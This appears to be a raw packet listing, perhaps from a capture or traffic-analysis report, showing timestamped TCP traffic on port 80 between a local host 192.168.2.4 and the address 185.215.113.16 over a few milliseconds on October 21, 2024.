Oct 21, 2024 10:46:25.160900116 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.160916090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.160931110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.160939932 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.160952091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.160962105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.160973072 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.160979033 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.160984993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.160995960 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.160996914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161009073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161020994 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161021948 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161031008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161046028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161056042 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161060095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161072016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161081076 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161083937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161091089 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161096096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161108017 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161119938 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161144018 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161192894 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161247969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161264896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161274910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161284924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161295891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161304951 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161308050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161314964 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161320925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161331892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161341906 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161343098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161354065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161366940 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161375999 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161379099 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161391973 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161398888 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161422014 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161427975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161447048 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161456108 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161468029 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161468029 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161479950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161489964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161492109 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161500931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161511898 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161516905 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161524057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161535025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161536932 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161547899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161559105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161557913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161572933 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161581039 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161593914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161607981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161612034 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161619902 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161632061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161638975 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161647081 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161652088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161659956 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161669970 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161669970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161684990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161695957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161695957 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161708117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161717892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161727905 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161730051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161741972 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161751986 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161753893 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161767006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161772013 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161778927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.161803007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161813021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.161864996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162142038 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162153006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162163973 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162189960 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162261009 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162271976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162281990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162292957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162302971 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162303925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162316084 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162322044 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162327051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162339926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162345886 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162352085 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162363052 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162364006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162394047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162412882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162425041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162435055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162451982 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162456036 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162462950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162466049 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162475109 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162486076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162497044 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162501097 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162508965 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162519932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162525892 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162530899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162542105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162545919 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162554026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162564993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162575960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162579060 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162587881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162600040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162604094 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162612915 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162616014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162627935 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162636995 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162642002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162653923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162664890 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162667990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162679911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162693024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162709951 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162734032 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162767887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162785053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162794113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162803888 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162806988 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162806988 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162817001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162827969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162838936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162842989 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162849903 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162861109 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162867069 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162872076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162883043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162883997 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162897110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162906885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162925005 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162930012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162940979 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162950993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162970066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162977934 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.162981033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162992954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.162998915 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163003922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163016081 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163017988 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163028002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163039923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163043022 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163049936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163062096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163067102 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163073063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163090944 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163093090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163106918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163108110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163119078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163130999 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163141966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163144112 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163152933 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163155079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163166046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163176060 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163186073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163193941 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163197041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163208008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163218021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163222075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163233042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163244963 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163248062 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163259029 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163265944 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163279057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163290024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163300037 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163305998 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163311958 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163321972 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163333893 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163340092 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163345098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163348913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163357019 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163367987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163378954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163391113 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163394928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163414955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163414955 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163424969 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163433075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163444996 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163449049 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163455963 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163466930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163479090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163490057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163495064 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163501024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163511992 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163522959 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163525105 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163536072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163541079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163552046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163563967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163563013 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163584948 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163598061 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163604021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163614035 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163624048 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163625956 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163635969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163649082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163650036 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163660049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163672924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163674116 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163683891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163696051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163712978 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163721085 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163744926 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163758039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163778067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163785934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163795948 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163806915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163817883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163824081 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163829088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163841009 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163845062 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163846016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163856030 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163860083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163872004 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163885117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163896084 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163902998 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163908958 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163918018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163928986 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163937092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163948059 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163957119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163961887 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163968086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163978100 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.163981915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.163995028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164011002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164016008 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164022923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164024115 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164033890 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164047003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164057016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164064884 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164067984 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164082050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164099932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164105892 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164110899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164124012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164127111 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164143085 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164154053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164159060 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164165020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164176941 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164185047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164186954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164199114 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164215088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164215088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164226055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164236069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164247036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164263964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164268017 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164268017 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164275885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164279938 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164288044 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164299011 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164309978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164319038 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164319992 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164330006 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164330959 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164344072 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164355040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164360046 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.164369106 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164380074 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.164396048 CEST	49745	80	192.168.2.4	185.215.113.16
